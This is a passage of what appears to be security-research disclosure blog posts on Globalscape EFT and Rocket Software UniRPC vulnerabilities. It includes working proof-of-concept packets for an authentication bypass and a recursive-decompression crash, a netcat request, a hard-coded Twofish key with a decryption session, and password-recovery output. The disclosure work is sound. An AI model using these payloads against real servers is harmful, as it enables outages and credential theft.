The TCP stack easily receives the 0x21 (33) bytes into a buffer. Then it inflates that message into 0x14 bytes of uncompressed data, including the enormous (and unvalidated) length field, which it assumes is correct. Unsurprisingly, that doesn’t go well! Since this is a heap overflow on a randomized heap, this proof of concept isn’t completely deterministic, but after a few tries the server should crash with an out-of-bounds read of some sort. This particular crash can happen in a variety of places depending on when exactly it reaches the end of available memory (plus, it depends what other values exist in the memory it’s trying to parse), which made it tricky to triage fuzzer crashes, but here’s one such crash:

(1bbc.87c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

From the registers, we can see that rdx, which is used in the memory read, is set to a negative value:

0:089> r
rax=0000024be75e5191 rbx=0000024ba61d1060 rcx=0000024ba74a9d10
rdx=fffffffffed272d4 rsi=0000000041414141 rdi=0000004d8611f418
rip=00007ff80ddc1917 rsp=0000004d8611f368 rbp=0000024ba4ef8334
 r8=0000000041414130  r9=0000000000025b19 r10=0000024ba4ef8334
r11=0000024ba61d1060 r12=0000024ba4ef8320 r13=0000004d8611f748
r14=0000000000000000 r15=0000000044575350
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

Here’s the call stack leading up to the memcpy() where it crashes:

0:089> k
 # Child-SP          RetAddr               Call Site
00 0000004d`8611f368 00007ff6`d3e1405b     VCRUNTIME140!memcpy+0x627 [D:\a\_work\1\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 735] 
01 0000004d`8611f370 00007ff6`d4011c2b     cftpstes!OPENSSL_Applink+0xde5cb
02 0000004d`8611f3b0 00007ff6`d4011640     cftpstes!OPENSSL_Applink+0x2dc19b
03 0000004d`8611f570 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbb0
04 0000004d`8611f640 00007ff6`d40ea977     cftpstes!OPENSSL_Applink+0x2dbc0f
05 0000004d`8611f710 00007ff6`d404430d     cftpstes!OPENSSL_Applink+0x3b4ee7
06 0000004d`8611fa20 00007ff6`d3f84989     cftpstes!OPENSSL_Applink+0x30e87d
07 0000004d`8611fb10 00007ff6`d3dbf8f2     cftpstes!OPENSSL_Applink+0x24eef9
08 0000004d`8611fbe0 00007ff6`d3e2d87b     cftpstes!OPENSSL_Applink+0x89e62
09 0000004d`8611fd10 00007ff8`1ac06b4c     cftpstes!OPENSSL_Applink+0xf7deb
0a 0000004d`8611fd50 00007ff8`1bdb4dd0     ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x4c
0b 0000004d`8611fd80 00007ff8`1d69e3db     KERNEL32!BaseThreadInitThunk+0x10
0c 0000004d`8611fdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

Initially, we categorized this as a denial of service and moved on. Later, we realized that it could actually be leveraged for more. If we could construct a login message that, when parsed, jumps perfectly into another login message, that’s an opportunity to use a different user’s credentials without ever knowing them.

To develop an exploit that does exactly that, we connected to the service several thousand times, and used a debugger to determine where memory is allocated each time. Because of ASLR (randomized memory addresses), the heap memory allocations move around slightly, but we did narrow down the range quite a bit. Specifically, in our experimentation, our login messages were allocated at memory addresses that are some multiple of 0x70 bytes apart, and usually quite close together. Experimentally, the most common distance between two consecutive messages on Windows Server 2022 was 0x380 bytes, but several other offsets are also common. We developed this message as a demonstration, which assumes the next message starts 0x4d0 bytes after our message, which was the first working offset we discovered:

00000000  2e 05 00 00 01 00 00 00  61 61 61 61 05 00 00 00   ........ aaaa....
00000010  c4 04 00 00 00 00 00 00  61 61 61 61 61 61 61 61   ........ aaaaaaaa
00000020  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000030  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000060  61 61 61 61 61 61 61 61                            aaaaaaaa 

Which compresses into the following:

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

The message claims to be 0x52e bytes long, which means that, as far as the parser is concerned, our message will end at the end of the next login message in memory!

This malicious login message contains one parameter that claims to be 0x4c4 bytes long with an unused name (aaaa). When that parameter is parsed, the parser will read (and discard) the entire 0x4c4-byte field, because a field called aaaa isn’t something it cares about. But, because the length of the field is 0x4c4 bytes, which doesn’t exceed the packet length of 0x52e bytes, the parser will check for the next field 0x4d0 bytes later, which is where the body of the next message starts. So, the parser will happily continue parsing the body of the second message as if it’s still part of the same message until it does reach the maximum length of 0x52e, which should be exactly where that message ends. That means that the various authentication fields (username/password) will come from that message!

Here’s what the messages look like when this attack succeeds:

In (version details):

    00000000  2c 00 00 00 2b 00 00 00  56 52 53 4e 01 00 00 00   ,...+... VRSN....
    00000010  a0 01 00 80 50 54 59 50  01 00 00 00 00 00 00 00   ....PTYP ........
    00000020  4c 53 59 53 01 00 00 00  01 00 00 00               LSYS.... ....

Out (malicious compressed packet):

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

In (login succeeded):

    0000002C  96 18 00 00 01 00 00 00  41 44 4d 4e 05 00 00 00   ........ ADMN....
    0000003C  66 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 00 00   f....... r.o.n...
    0000004C  00 00 f4 98 aa 1a d0 15  54 fe af 1b 98 81 12 a9   ........ T.......
    0000005C  4f 45 00 00 00 00 01 00  00 00 00 00 00 00 00 00   OE...... ........
    [...]

This succeeds at a rate of approximately 1 in 10, even under ideal conditions; however, a clever attacker may be able to improve that by massaging the heap a bit. Therefore, we believe that this is a high-risk vulnerability, and should be treated as such.

CVE-2023-2990—Denial of Service Due to Recursive Compression

The Globalscape EFT server can be crashed by sending a recursively compressed packet (a compression "quine" to the administration port. We published a proof of concept here. The vendor has published advisory here.

We found the following function in the Globalscape EFT server, which we called decompress_and_parse_packet, that checks for the special compression message ID mentioned above (0xff7f):

.text:00007FF6D4011610                         decompress_and_parse_packet(void *parsed, void *packet, int length) proc near   ; CODE XREF: sub_7FF6D3E0D9F0+BAC↑p
.text:00007FF6D4011610                                                                 ; decompress_and_parse_packet+8A↓p ...
.text:00007FF6D4011610
; [......]
.text:00007FF6D4011632
.text:00007FF6D4011632                         check_for_compression:                  ; CODE XREF: decompress_and_parse_packet+19↑j
.text:00007FF6D4011632 81 7A 04 7F FF 00 00                    cmp     dword ptr [rdx+4], 0FF7Fh ; <-- Compare the msgid to 0xff7f
.text:00007FF6D4011639 74 07                                   jz      short packet_is_compressed ; <-- Handle compressed messages
.text:00007FF6D401163B E8 90 00 00 00                          call    parse_packet
.text:00007FF6D4011640 EB 6B                                   jmp     short return
.text:00007FF6D4011642                         ; ---------------------------------------------------------------------------
; [...]
.text:00007FF6D4011642                         packet_is_compressed:                   ; CODE XREF: decompress_and_parse_packet+29↑j
.text:00007FF6D4011642 8B 1A                                   mov     ebx, [rdx]
; [... decompression stuff ...]
.text:00007FF6D401168F 4C 8B C0                                mov     r8, rax
.text:00007FF6D4011692 48 8B 54 24 28                          mov     rdx, [rsp+0C8h+var_A0]
.text:00007FF6D4011697 48 8B CE                                mov     rcx, rsi
.text:00007FF6D401169A E8 71 FF FF FF                          call    decompress_and_parse_packet ; <-- Recurse after decompressing
.text:00007FF6D401169F 8B D8                                   mov     ebx, eax

Because the function recurses after decompressing, a message that decompresses to itself with an appropriate header will recurse infinitely and quickly crash the Globalscape EFT server.

To develop an exploit, we found this post about how to generate a compression quine with an arbitrary header, which includes ancient Go source code to generate an arbitrary quine in several different formats (.zip, .tar.gz, and .gz). We updated the Go code to compile on modern versions of Go, and to output a raw deflate stream. Using our version of that tool, we developed the following "quine" packet, which is also available in our proof of concept repository:

00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can demonstrate that the body decompresses to itself by using the openssl zlib inflation command on the 213-byte message body:

$ dd if=recursive.zlib bs=1 skip=8 count=213 2>/dev/null | openssl zlib -d | hexdump -C
00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can send that message to the Globalscape EFT admin port using Netcat:

$ nc -v 172.16.166.170 1100 < recursive.zlib
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 172.16.166.170:1100.

And observe the server crash due to stack exhaustion (in a debugger):

0:073> g
(12dc.1a68): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31:
00007ff8`1d67f0dd e822220000      call    ntdll!RtlpGetHeapProtection (00007ff8`1d681304)

We can look at the call stack to verify that it does indeed crash by recursing infinitely and exhausting all stack memory:

0:096> k
 # Child-SP          RetAddr               Call Site
00 000000a7`cb583ff0 00007ff8`1d63f5a6     ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31
01 000000a7`cb584060 00007ff8`1d63c4f9     ntdll!RtlpAllocateHeap+0x1246
02 000000a7`cb584230 00007ff8`1abeffa6     ntdll!RtlpAllocateHeapInternal+0x6c9
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
03 000000a7`cb584340 00007ff6`d486b217     ucrtbase!_malloc_base+0x36
04 000000a7`cb584370 00007ff6`d3de5803     cftpstes!OPENSSL_Applink+0xb35787
05 000000a7`cb5843a0 00007ff6`d43e17b4     cftpstes!OPENSSL_Applink+0xafd73
06 000000a7`cb5843d0 00007ff6`d4011660     cftpstes!OPENSSL_Applink+0x6abd24
07 000000a7`cb584400 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbd0
08 000000a7`cb5844d0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
09 000000a7`cb5845a0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0a 000000a7`cb584670 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0b 000000a7`cb584740 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
......

While the exploit itself is interesting from a development and mathematics perspective, this is ultimately a denial of service, and has no possibility of code execution or other security consequences.

CVE-2023-2991—Hard Drive Serial Number Disclosure

The hard drive serial number of the server hosting a Globalscape EFT instance can be derived by requesting a TER ("trial extension request") identifier. Presumably, this is an identifier used for uniquely identifying licensed hosts. As of this disclosure, this issue is not fixed, but is also minor enough to disclose (The vendor has disclosed it as a KB here). We developed a proof of concept that you can download here.

If we send a blank (header-only) message of type 0x138 to the administration port, it returns a lightly obfuscated base64 string in a field called HASH, and that is internally called a "TER":

$ echo -ne '\x08\x00\x00\x00\x38\x01\x00\x00' | nc 172.16.166.170 1100 | hexdump -C
[...]
00000020  [...]                                84 00 00 00  |            ....|
00000030  38 01 00 00 48 41 53 48  04 00 00 00 32 00 00 00  |8...HASH....2...|
00000040  2b 00 6b 00 34 00 56 00  47 00 30 00 41 00 54 00  |+.k.4.V.G.0.A.T.|
00000050  35 00 43 00 55 00 30 00  34 00 42 00 44 00 36 00  |5.C.U.0.4.B.D.6.|
00000060  30 00 5a 00 57 00 35 00  76 00 6d 00 30 00 47 00  |0.Z.W.5.v.m.0.G.|
00000070  4d 00 34 00 43 00 4a 00  57 00 70 00 6d 00 65 00  |M.4.C.J.W.p.m.e.|
00000080  4c 00 53 00 2f 00 51 00  38 00 46 00 46 00 69 00  |L.S./.Q.8.F.F.i.|
00000090  30 00 6a 00 50 00 50 00  34 00 43 00 74 00 78 00  |0.j.P.P.4.C.t.x.|
000000a0  67 00 3d 00 45 52 52 52  01 00 00 00 00 00 00 00  |g.=.ERRR........|

The actual string from the HASH field is +k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=, which does not correctly decode as base64:

$ echo -ne '+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=' | base64 -d
�N�%4��ѕ��m3��Z��-/��Qb�3��+qbase64: invalid input

We reverse engineered the function that generates that value, and determined that six characters—0, 8, 0, 0, 0, and 0—are inserted into the base64 string at the offsets 14, 33, 5, 38, 21, and 11, in that order (presumably as obfuscation). We can undo that process by removing those six characters in the opposite order, which leaves us with the new base64 string +k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=. That fixed string does successfully decode as base64, into a 256-bit string:

$ echo -ne '+k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=' | base64 -d | hexdump -C
00000000  fa 4e 15 18 04 f9 09 4e  01 0f a6 56 e6 f9 86 33  |.N.....N...V...3|                                                     
00000010  80 89 5a 99 9e 2d 2f d0  14 58 a3 3c fe 02 b7 18  |..Z..-/..X.<....|  

That string is the SHA256 of the hard drive’s serial number. On my server, the serial number is 418934929, which means we can calculate the SHA256 digest ourselves and validate that it matches the string the server returned:

$ echo -ne '418934929' | sha256sum
fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718  -

Since the space of possible serial numbers is small, exhaustively brute forcing that integer value is possible in only a few minutes, even on a laptop:

$ time ruby ./request-hdd-serial.rb
Sending: ["0800000038010000"]                                                                                                      
Received TER:                                                                                                                      
{:length=>132,                                                                                                                     
 :msgid=>312,                                                                                                                      
 :args=>                                     
  {"HASH"=>                                  
    {:type=>:string,
     :length=>50,
     :data=>"+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg="},
   "ERRR"=>{:type=>:int, :value=>0}}}
SHA256 of serial = fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718

Trying 0...
Trying 1048576...
Trying 2097152...
Trying 3145728...
Trying 4194304...
[...]
Trying 417333248...
Trying 418381824...
Found the serial: 418934929

________________________________________________________
Executed in  431.80 secs    fish           external
   usr time  426.37 secs    0.00 micros  426.37 secs
   sys time    0.07 secs  864.00 micros    0.07 secs

Plaintext-Equivalent Passwords in Network Traffic

By default, the remote administration server does not use SSL. We determined that, while the password transmitted on the wire is encrypted, the encryption key is hard-coded and users’ passwords can be recovered from a packet capture. We developed a tool that will do just that. Although we opted not to assign a CVE to this issue, the vendor has updated the default SSL setting in future versions and has published an advisory.

As noted above, administrators can run local Windows commands, which means that a packet capture essentially leads to remote code execution, unless the administrator enables SSL.

Here is an example of a login message that contains an encrypted password:

00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

It contains three fields: PSWD (password), ADLN (username), and AMID (login type). In our case, we’re only concerned with the encrypted password field (PSWD), which has the value:

\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b

Passwords are encrypted using the Twofish algorithm with a static key (tfgry\0\0\0\0\0\0\0\0\0\0\0) and blank IV. That means that passwords can be fully decrypted off the wire (although casual observers might believe that the encryption has some value). Here’s a demonstration of decrypting that password using the interactive Ruby shell (irb) and the twofish gem:

$ gem install twofish
[...]
$ irb

3.0.2 :001 > require 'twofish'
 => true

3.0.2 :002 > tf = Twofish.new("tfgry\0\0\0\0\0\0\0\0\0\0\0", :padding => :zero_byte, :mode => :cbc)
 => #<Twofish:0x0000000002b23340 [...]>

3.0.2 :003 > tf.iv = "\0" * 16
 => "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" 

3.0.2 :004 > puts (tf.decrypt("\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b") + "\0").force_encoding("UTF-16LE").encode("ASCII-8BIT")
Password1!

We use force_encoding() and encode to convert from UTF-16 to ASCII.

To demonstrate the impact, we wrote a tool that’ll decrypt passwords from a PCAP file:

$ ruby recover-pw.rb all-login-types.pcapng
Found login: ron / MyWindowsPassword (type = "Windows authentication")
Found login: ron / Password1! (type = "Windows authentication")
Found login: ron / testtest (type = "EFT Authentication")
Found login: ron / Password1! (type = "EFT Authentication")
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["400000004e544c4d535350000100000007b208a209000900370000000f000f00280000000a007c4f0000000f57494e2d5056394f48313349495542574f524b47524f5550"]
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["580000004e544c4d535350000300000000000000580000000000000058000000000000005800000000000000580000000000000058000000000000005800000005c288a20a007c4f0000000fc336e05c920cada6821fe04d5709b868"]

Note that NTLM logins use the literal password ********, but also include an additional NTLMSSP blob containing the actual authentication details.

Remediation

These issues are fixed in Fortra Globalscape version 8.1.0.16. We don’t believe these require emergency patches, but since the ultimate consequence is remote code execution, they should be patched in the next planned patch cycle.

Timeline

  • April 2023 – Rapid7 begins researching Globalscape EFT
  • May 10, 2023: Rapid7 reports issues to vendor
  • May 10, 2023: Vendor acknowledgement
  • May 24, 2023: Vendor confirmed the issues
  • May 26, 2023: Rapid7 reserves CVEs
  • May 26 – June 1, 2023: Vendor and Rapid7 clarify additional details
  • June 13, 2023: Rapid7 asks for an update from vendor on patch ETA, proposes July 11 as coordinated disclosure date. Because of a minor misunderstanding, Rapid7 discovers vendor has already released fixes and KBs. Vendor volunteers to pull KBs offline while Rapid7 prepares our own disclosure. Initially, Rapid7 agrees to this.
  • June 14, 2023: Rapid7 asks vendor to republish their KBs in the interest of transparency and effective risk assessment while Rapid7 prepares this disclosure
  • June 20, 2023 – Vendor informs Rapid7 their KBs have been re-published
  • June 22, 2023 – Rapid7 releases this disclosure blog

Multiple Vulnerabilities in Rocket Software UniRPC server (Fixed)

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed/

Multiple Vulnerabilities in Rocket Software UniRPC server (Fixed)

In early 2023, Rapid7 discovered several vulnerabilities in Rocket Software‘s UniData and UniVerse UniRPC server (and related services) running on the Linux platform. Rapid7 worked with Rocket Software to fix the issues and coordinate this disclosure.

This disclosure will detail a number of different vulnerabilities, including:

  • CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd service
  • CVE-2023-28502: Pre-authentication stack buffer overflow in udadmin_server service
  • CVE-2023-28503: Authentication bypass in libunidata.so‘s do_log_on_user() function
  • CVE-2023-28504: Pre-authentication stack buffer overflow in libunidata.so‘s U_rep_rpc_server_submain()
  • CVE-2023-28505: Post-authentication buffer overflow in libunidata.so‘s U_get_string_value() function
  • CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave executable
  • CVE-2023-28507: Pre-authentication memory exhaustion in LZ4 decompression in unirpcd service
  • CVE-2023-28508: Post-authentication heap overflow in udsub service
  • CVE-2023-28509: Weak encryption

Note that all of the post-authentication vulnerabilities are exploitable without authenticating due to the authentication bypass documented as CVE-2023-28503, which means all of these are effectively pre-authentication until CVE-2023-28503 is remediated.

Rapid7 initially reported these vulnerabilities to Rocket Software on January 24, 2023. Since then, members of our research team have worked with the vendor to discuss impact, resolution, and a coordinated response.

Patches are available to Rocket Software customers, and should be installed as quickly as possible. Rocket Software strongly advises their UniData and UniVerse customers to upgrade to hotfix version 8.2.4.3003, available on Rocket Business Connect.

Product description

We discovered these vulnerabilities while testing UniData for Linux version 8.2.4 (build 3001). The RPC server and some of these services are shared by the UniVerse software stack as well. The vendor confirmed that the following versions are affected:

  • UniData 8.2.4 (and earlier) – patched in 8.2.4 build 3003
  • UniVerse 11.3.5 (and earlier) – patched in 11.3.5 build 1001
  • UniVerse 12.2.1 (and earlier) – patched in 12.2.1 build 2002

We verified that these issues do not affect the Windows version, as the networking stack appears to be different.

Impact

Due to the nature of the applications, we believe that widespread exploitation of these issues is unlikely; these services tend to be found on the back end, and are rarely internet-facing. That being said, the software stack is commonly used by large organizations to store and manage data, so it’s possible that these vulnerabilities will be exploited by attackers who have already gained unauthorized access to an organization’s network in another way.

Credit

These vulnerabilities were discovered and documented by Ron Bowes, Lead Security Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

Rocket Software is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.

Exploitation

We tested the UniRPC network service, which is installed as part of the UniData software package. UniRPC typically listens on TCP port 31438, and runs as root. We tested everything with a default installation (i.e., no special configuration). We created a library called libneptune that implements the protocol, and includes a proof of concept for each issue below. Most proofs of concept will crash the service while reading or executing an illegal memory address, but we created two full Metasploit modules as well, so organizations can more easily evaluate their own risk.

A note on testing

We made a small change to unirpcd for testing, which disables the fork call, which means it only handles a single connection then terminates. That makes debugging much easier, since you don’t have to deal with multiple forked processes. We called it unirpcd-oneshot, and will use it for most of our examples. The changes are only a couple bytes, which you can change with a hex editor:

[ron@unidata bin]$ diff -ru0 <(hexdump -C unirpcd) <(hexdump -C unirpcd-oneshot)
--- unirpcd	2023-01-17 13:09:45.511592523 -0500
+++ unirpcd-oneshot	2023-01-17 13:09:45.511592523 -0500
@@ -1075 +1075 @@
-00004320  ec ff ff e8 f8 eb ff ff  83 f8 ff 41 89 c6 0f 84  |...........A....|
+00004320  ec ff ff 48 31 c0 90 90  83 f8 ff 41 89 c6 0f 84  |...H1......A....|

Note that this doesn’t change how the exploits work at all, it only simplifies testing and demonstration (by not spawning new processes for each connection).

UniRPC Server overview

When UniData is installed, it comes with a service called unirpcd, which is an RPC daemon. The RPC daemon accepts connections, forks new processes, and processes messages sent by the client using a custom binary protocol that we implemented as part of libneptune.

After connecting, a client sends a message to UniRPC that selects which back-end service to execute. The list of available services will probably vary by the application package (we only tested UniData), but they are listed in a file called unirpcservices. The unirpcservices file lists the service names and executables and has options for IP restrictions, protocols, timeouts, and other details:

# cat ~/unidata/unishared/unirpc/unirpcservices 
udcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
defcs /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600
udadmin /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udadmin82 /home/ron/unidata/unidata/bin/udadmin_server * TCP/IP 0 3600
udserver /home/ron/unidata/unidata/bin/udsrvd * TCP/IP 0 3600
unirep82 /home/ron/unidata/unidata/bin/udsub * TCP/IP 0 3600
rmconn82 /home/ron/unidata/unidata/bin/repconn * TCP/IP 0 3600
uddaps /home/ron/unidata/unidata/bin/udapi_server * TCP/IP 0 3600

We tested each of those services, as well as the unirpcd daemon itself. A library — libunidata.so — is shared by all the services. Our results are detailed below.

CVE-2023-28501: Pre-authentication heap buffer overflow in unirpcd‘s packet receive

We discovered a pre-authentication heap overflow issue due to an integer overflow in the UniRPC daemon itself (unirpcd) when receiving the body of an RPC packet in the uvrpc_read_message() function. Successful exploitation can corrupt the heap’s data and metadata, and is likely to lead to remote code execution as the root user. Because this is in the RPC daemon itself, it can affect any software package that includes this version of the daemon, irrespective of which RPC services are included.

We wrote a proof of concept to demonstrate this issue in unirpc_heapoverflow_read_body.rb. For the purposes of demonstration, we trick the server into attempting to read from the memory address 0x4141414141414141, which crashes the process. Here is how we ran unirpcd-oneshot in gdb:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=4039 - 13:12:07 - uvrpc_debugflag=9 (Debugging level)
RPCPID=4039 - 13:12:07 - portno=12345
RPCPID=4039 - 13:12:07 - res->ai_family=10, ai_socktype=1, ai_protocol=6

Then we run the proof-of-concept tool in another window, and see the following in the debugger:

RPCPID=4039 - 13:13:45 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=4039 - 13:13:45 - accept: forking
RPCPID=4039 - 13:13:45 - in accept read_packet returns 13c6a
Program received signal SIGSEGV, Segmentation fault.
_dl_fini () at dl-fini.c:194
194		if (l == l->l_real)

Here’s the stack trace, which shows that it crashes in __run_exit_handlers():

(gdb) bt
#0  _dl_fini () at dl-fini.c:194
#1  0x00007ffff5c2ece9 in __run_exit_handlers (status=1, listp=0x7ffff5fbc6c8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:77
#2  0x00007ffff5c2ed37 in __GI_exit (status=<optimized out>) at exit.c:99
#3  0x0000000000404479 in accept_connection ()
#4  0x0000000000403bd9 in main ()

We can verify that it crashes while trying to read the memory address 0x4141414141414141 by checking the instruction it crashed on:

(gdb) x/i $rip
=> 0x7ffff7deafc9 <_dl_fini+313>:	cmp    QWORD PTR [rcx+0x28],rcx

(gdb) print/x $rcx
$1 = 0x4141414141414141

To understand this issue, we have to look at the UniRPC packet header fields (we don’t have the official names of this structure, so these are our best guesses):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

The body length argument is a 32-bit signed integer, and must be positive (ie, 0x7FFFFFFF and below). The following code from unirpcd enforces that length restriction:

.text:0000000000407580 41 8B 47 04         mov     eax, [r15+4]    ; Read the 32-bit "size" field from the header into eax
.text:0000000000407584 89 C7               mov     edi, eax
.text:0000000000407586 89 44 24 08         mov     dword ptr [rsp+88h+len], eax ; Save the length to the stack
